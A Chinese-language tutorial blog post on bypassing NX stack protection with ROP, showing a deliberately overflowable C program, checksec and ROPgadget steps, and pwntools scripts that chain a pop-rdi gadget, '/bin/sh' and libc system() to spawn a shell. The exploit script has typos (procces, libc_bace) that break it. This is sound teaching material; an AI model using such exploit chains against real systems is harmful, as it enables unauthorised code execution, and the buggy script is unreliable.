NX防护机制绕过 ROP

2018-10-24  本文已影响0人  Zero_0_0

什么是ROP

*ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而改变程序的执行流程,达到预期利用目的。(一般这个gadgets是返回地址,只有返回地址是可以我们随意操作的!)

源码

#include <stdio.h>
#include <string.h>

int main()
{
    puts("SO plz qive me your shellcode");
        char buffer[256];
        memset(buffer,0,256);
        read(0,buffer,256);    
        vul(buffer);
        return 0;

}
void vul(char *msg)
{
    char buffer[64];
    memcpy(buffer,msg,128);
    return;

}

检查

1.checksec pwnme 查看文件开启的安全防护机制

图片.png
2.我们知道文件开启了,栈不可执行,我们在打开一个命令窗口。输入ps -a 我们可以观察到 图片.png

布局

图片.png
*我们需要知道这个gadgets这个小片段,然我们可以使用ROPgadget这个工具来查找 ROPgadget --binary pwnme |grep rdi 图片.png

思路:我们将/bin/sh先传入rdi中,我们在调用system函数。实现了我们将/bin/sh传入systemsystem('/bin/sh')

/bin/sh和system的查找到IDA中查找

exp文件的编写 需要修改

from pwn import *
p = procces('./pwnme')
p.recvuntil('shellcode')   #j接收字符串

gedgetr_add = 0x0000000000401253
libc_base = 0x00007ffff7dee000
##bin/sh和system的偏移地址
bin_sh =  0x000000000017F573 
system = 0x00000000000435D0
##off end
bin_sh_off = libc_bace+bin_sh
system_off = libc_bace +system
##布局填充数据
paylod ='A'*72
paylod += p64(gedgetr_add)
paylod += p64(bin_sh_off)
paylod += p64(system_off)

with open('poc','wb') as f :
       f.write(paylod)

p.sendline(paylod)
p.interctive()



添加知识点

如何用脚本查找bin/sh和system

from pwn import *
p = process('./pwnme')
p.recvuntil('shellcode')  

elf = ELF('libc.so.6')

system_in_libc = elf.symbols['system']

bin_sh_in_libc = next(elf.search('/bin/sh'))


libc_base = 0x00007ffff7dee000
gadget_addr =  0x0000000000401243
system_addr = libc_base + system_in_libc
bin_sh_addr = libc_base + bin_sh_in_libc

print hex(system_addr) +'----'+hex(bin_sh_addr)
上一篇 下一篇

猜你喜欢

热点阅读